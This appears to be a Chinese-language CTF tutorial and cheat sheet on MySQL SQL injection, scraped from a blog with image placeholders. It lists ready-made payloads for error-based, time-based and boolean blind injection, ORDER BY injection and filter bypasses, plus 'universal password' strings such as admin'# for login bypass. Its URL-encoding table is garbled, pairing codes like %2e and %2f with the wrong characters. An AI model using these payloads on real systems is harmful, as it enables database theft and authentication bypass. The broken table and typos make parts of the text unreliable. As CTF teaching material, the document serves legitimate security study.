深入了解常用的CTF SQL注入

基础知识

SELECT version(),
@@version_compile_os,
database(),
user();

substr(str, position, len)
substring(str, position, len) 
substring(str FROM position FOR len)
LEFT(str,len)
#substring_index(被截取的字段, 关键字, 关键字出现的次数)
UNION #联合查询
group by # 分组

information_schema

information_schema是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables的数据表,该表包含两个字段 table_nametable_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。

SQL 注入之宽字节注入

原理

GBK编码、URL转码 利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围) 例如:

符号 字符
%2e \
%5c \
%7c /
%2f ,
%20 white space
%2c ,
%27
%22 "
%23 #
%2a *
%28 (
%29 )
%26 &

SQL注入之基于约束的注入

原理

超过数据类型长度的部分不会被插进表里,如果不将字段作为唯一字段,可以插入重复的数据。

实例

注册admin + 很多空格 + 1,成功以admin身份登录

SQL注入之报错注入

原理

利用mysql的报错信息,获取有用的数据。只有错误能够回显的时候才可以使用。

实例

可以使用的公式有

and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)x from information_schema.tables group by x)a));

or updatexml(1,concat(0x7e,(version())),0)//最大长度是32位

and extractvalue(1,concat(0x7e,(select database())))

and exp(~(select * from (select user())a));

and updatexml(1,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,41),1)

在这里插入图片描述
深入了解常用的CTF SQL注入_第1张图片

深入了解常用的CTF SQL注入_第2张图片
tips:delete是一行一行操作的,先从第一行,如果id不为2,则会执行updatexml函数。

DESC注入

SQL注入之时间盲注

原理

能够截取字符串,同时触发延时即可
SELECT * FROM table WHERE id = 1 AND (if(SUBSTR(database(),1,1)=' ',sleep(5),null)) SELECT * FROM table WHERE id = 1 AND (if(acsii(substr(database(),1,1))=100,sleep(5),null))

select into user(1,'3' + sleep(3));#会计算'3'+sleep(3),所以sleep函数会执行

实例

1. sleep函数配合if条件使用

深入了解常用的CTF SQL注入_第3张图片

select * from user where password='123456';# 假如密码是123456
select * from user where passwod rlike '^1';
select * from user where passwod regexp '^1';

2. 配合select case when 条件触发

SELECT CASE WHEN username='admin' THEN 'xxx' ELSE(sleep(3)) end FROM user;

深入了解常用的CTF SQL注入_第4张图片
深入了解常用的CTF SQL注入_第5张图片

BENCHMARK

深入了解常用的CTF SQL注入_第6张图片

笛卡尔积

让计算变慢,其实就是让运算变多。
在这里插入图片描述
select count(*) from usera, userb;
假设usera为

id vavlue
1 1
2 2

userb为

id vavlue
1 1
2 2
3 3

则结果为2*3=6

GET_LOCK

GET_LOCK(str,timeout)```只有在长连接下才会有效
深入了解常用的CTF SQL注入_第7张图片

RLIKE

构造长字符,然后去匹配。
select concat(rpad(1,9999999,'a'),rpad(1,9999999,'a'),···,rpad(1,9999999,'a')) RLIKE '(a.*)+(a.*)+···+(a.*)+b
深入了解常用的CTF SQL注入_第8张图片
tip: test website
http://ctf5.shiyanbar.com/web/baocuo/index.php

MySQL IF 函数介绍

MySQL IF function is one of the MySQL control flow functions that returns a value based on a condition. The IF function is sometimes referred to as IF ELSE or IF THEN ELSE function.

语法如下:
IF(expr,if_true_expr,if_false_expr)
如果 expr 为 TRUE,例如 expr 不为空且不为0,那么if函数将返回 if_true_expr , 否则将返回 if_false_expr。IF函数返回的是数字或者字符取决于使用的方式。
深入了解常用的CTF SQL注入_第9张图片

SQL注入之bool盲注

原理

利用回显的消息不同,判断输入表达式是否正确。其常用函数与时间盲注基本相同

相关函数

MID(column,start,len)
ORD()#字母转ascii
ASCII()

深入了解常用的CTF SQL注入_第10张图片
截取函数

left(str, len)
right(str, len)

SQL注入之order by的注入

使用ORDER BY子句对查询结果按一列或多列排序。
ORDER BY子句的语法格式为:
ORDER BY {column_name [ASC|DESC]}[,...n]

ORDER BY语句默认按照升序对记录进行排序
在不知道列名的情况下可以通过列的序号来指代相应的列。但是这里无法做运算
当ORDER BY注入能通过返回错误信息是,也可以考虑使用报错注入
根据不同的列排序,会返回不同的结果,也可以使用类似于bool型盲注的形式来注入
ORDER BY后面字段可以通过位运算符(|&^~)来使代码被执行,例如 select * from xxx order by id|(sleep(5))
ORDER BY在括号中时后面可以跟UNION,例如
(select 1,2,3 order by 3 asc)union(select 2,3,4)

符号 作用
& 按位与
| 按位 或
~ 按位取反
^ 按位异或
<< 按位 左移
>> 按位右移

SQL注入之常用绕过

SQL注入绕过技巧

  • 空格
    /**/
  • =
     like
     regexp
     !(<>)
    
    • 转义符\
    • 16进制(例如:ctf → 0x637466)
  • ,
    • union注入使用join,例如3' union select * from (select 1) a join (select 2 ) b %23
    • substr from for
    • if->case when

万能密码

select * from admin where username = '' and password = ''

username password
admin’#
‘+’ ‘+’
aaa’=’ aaa’=’
1\ '^'1
'%1#
'=0#

你可能感兴趣的:(Linux)